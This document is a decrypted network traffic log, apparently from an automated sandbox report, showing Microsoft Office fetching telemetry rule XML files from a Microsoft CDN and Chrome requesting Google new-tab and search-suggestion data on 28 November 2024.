2024-11-28 14:17:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:19 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141719Z-174f78459685m244hC1EWRgp2c0000000yc000000000805d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:19 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:19 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:19 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141719Z-174f7845968ljs8phC1EWRe6en0000000yfg000000001q05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:19 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:19 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:19 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141719Z-174f78459688l8rvhC1EWRtzr00000000b4g0000000087t1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:19 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:19 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:19 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141719Z-174f7845968xr5c2hC1EWRd0hn0000000fb000000000ahv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:19 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:19 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:19 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141719Z-174f7845968kvnqxhC1EWRmf3g0000000h7g00000000d1d2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:19 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:21 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141722Z-174f7845968j6t2phC1EWRcfe80000000yn000000000bgx6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:22 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:22 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141722Z-174f7845968pf68xhC1EWRr4h80000000yr000000000bhxg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:22 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:22 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 4b7a7cb4-201e-000c-0405-4179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141722Z-174f7845968cdxdrhC1EWRg0en0000000yc000000000e55e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:22 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:22 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141722Z-174f7845968glpgnhC1EWR7uec0000000yn000000000bxnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:22 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49736	142.250.181.100	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:22 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 14:17:23 UTC	1367	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:22 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-hiODoHuu_g9QRHjM_yscHg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 14:17:23 UTC	23	IN	Data Raw: 33 33 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 70 72 61 63 74 69 63 Data Ascii: 338)]}'["",["practic
2024-11-28 14:17:23 UTC	808	IN	Data Raw: 65 20 73 71 75 61 64 22 2c 22 62 72 6f 6f 6b 6c 79 6e 20 62 72 69 64 67 65 20 68 75 6d 70 62 61 63 6b 20 77 68 61 6c 65 22 2c 22 67 6c 61 64 69 61 74 6f 72 20 69 69 20 6d 6f 76 69 65 20 72 65 76 69 65 77 22 2c 22 64 6f 6c 6c 61 72 20 67 65 6e 65 72 61 6c 20 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 68 6f 75 72 73 22 2c 22 65 78 69 6c 65 64 20 63 6f 64 65 73 20 72 6f 62 6c 6f 78 22 2c 22 63 68 72 69 73 20 6b 72 65 69 64 65 72 20 69 6e 6a 75 72 79 22 2c 22 66 65 6d 61 20 61 6e 6e 6f 75 6e 63 65 73 20 66 65 64 65 72 61 6c 20 66 75 6e 64 69 6e 67 20 66 6f 72 20 6b 65 6e 74 75 63 6b 79 20 63 6f 75 6e 74 69 65 73 20 61 66 66 65 63 74 65 64 20 62 79 20 68 75 72 72 69 63 61 6e 65 20 68 65 6c 65 6e 65 22 2c 22 32 30 32 35 20 66 6f 72 64 20 65 78 63 75 72 73 69 6f 6e Data Ascii: e squad","brooklyn bridge humpback whale","gladiator ii movie review","dollar general thanksgiving hours","exiled codes roblox","chris kreider injury","fema announces federal funding for kentucky counties affected by hurricane helene","2025 ford excursion
2024-11-28 14:17:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49738	142.250.181.100	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:22 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49737	142.250.181.100	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:22 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 14:17:23 UTC	1018	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 28 Nov 2024 14:17:22 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
